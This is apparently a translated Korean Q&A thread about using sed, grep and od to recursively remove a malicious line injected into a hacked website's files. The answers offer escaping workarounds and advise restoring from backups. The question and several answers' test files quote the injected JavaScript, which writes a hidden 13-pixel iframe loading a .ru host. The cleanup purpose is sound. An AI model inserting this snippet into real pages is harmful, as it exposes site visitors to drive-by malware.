sed는 여러 특수 문자가 포함된 문자열을 재귀적으로 찾아 제거합니다.

sed는 여러 특수 문자가 포함된 문자열을 재귀적으로 찾아 제거합니다.

복잡한 문자열을 처리하는 데 큰 어려움을 겪고 있습니다. 친구의 사이트가 해킹되어 폐쇄되었습니다. 하지만 저는 남아 있는 난장판을 정리하는 데 도움을 드리고 있으며, 제가 해야 할 일은 다음과 같습니다.

각 디렉터리로 재귀하여 파일 끝에 다음 문자열이 있으면 해당 문자열을 삭제합니다.

;document.write('<iframe src="http://efficienttrue.ru/upwherehandpainted.cgi?8" scrolling="auto" frameborder="no" align="center" height="13" width="13"></iframe>');

보시다시피 문자열에는 작은따옴표와 큰따옴표뿐 아니라 기타 여러 특수 문자도 포함되어 있습니다. 각 특수 문자 앞에 \ 이스케이프를 추가해 보았지만 작동하지 않는 것 같습니다. 나는 이것을 시도했습니다 :

grep -rl efficienttrue.ru . | xargs sed -i "s/\;document\.write\(\'\<iframe\ src\=\"http\:\/\/efficienttrue\.ru\/upwherehandpainted\.cgi\?8\"\ scrolling\=\"auto\"\ frameborder\=\"no\"\ align\=\"center\"\ height\=\"13\"\ width\=\"13\"\>\<\/iframe\>\'\)\;/\/g"

하지만 다음과 같은 오류가 발생합니다.

sed: -e expression #1, char 201: unterminated `s' command

답변1

다음과 같은 것을 찾고 있는 것 같습니다.

sed '${s/document\.write([^)]*);//}'

그러나 손상 복구를 위해서는 이 절차를 사용하지 않는 것이 좋습니다.

답변2

예, 백업에서 복원하는 것이 더 좋습니다. 하지만 sed의 경우:

sed -i '.bak' -e '$ {\!^;document\.write('\''<iframe src="http://efficienttrue\.ru/upwherehandpainted\.cgi?8" scrolling="auto" frameborder="no" align="center" height="13" width="13"></iframe>'\'');$! d; }' FILENAME

FILENAME이 뒤에 오는지 여부에 관계없이 이것을 테스트했습니다 \n. 그러나 삭제될 행은 항상 마지막 행( $ { ... }.

답변3

예, 백업이 더 좋습니다. 그러나 교체를 고집하고 번거로운 탈출을 피하고 싶다면 여기에 일반적인 해결책이 있습니다.

  1. 문제가 있는 문자열을 파일에 저장하고 추가 문자(예: UTF BOM 접두사 또는 줄 끝)가 추가되지 않았는지 확인하세요.

    xxd spec-chars.sample
    
  2. 문자열을 이스케이프된 바이트 시퀀스로 변환

    od -t x1 -v -A n spec-chars.sample | sed s/\ /\\\\x/g | tr -d \\n && echo
    
  3. 몇 가지 테스트 케이스 만들기

    cat spec-chars-positive 
      asdfasdfsd
      ;document.write('<iframe src="http://efficienttrue.ru/upwherehandpainted.cgi?8" scrolling="auto" frameborder="no" align="center" height="13" width="13"></iframe>');
    
    cat spec-chars-negative
      asdfasdfsd
      ;document.write('<iframe src="http://efficienttrue.ru/upwherehandpainted.cgi?8" scrolling="auto" frameborder="no" align="center" height="13" width="13"></iframe>');
      qwer
    
  4. 코드가 예상대로 작동하는지 확인

    grep -l efficienttrue spec-chars-* | xargs sed \$s/`od -t x1 -v -A n spec-chars.sample | sed s/\ /\\\\x/g | tr -d \\n`//
    
  5. 실제 교체 수행

    grep -rl efficienttrue.ru . | xargs sed -ibak --follow-symlinks \$s/`od -t x1 -v -A n spec-chars.sample | sed s/\ /\\\\x/g | tr -d \\n`//
    

관련 정보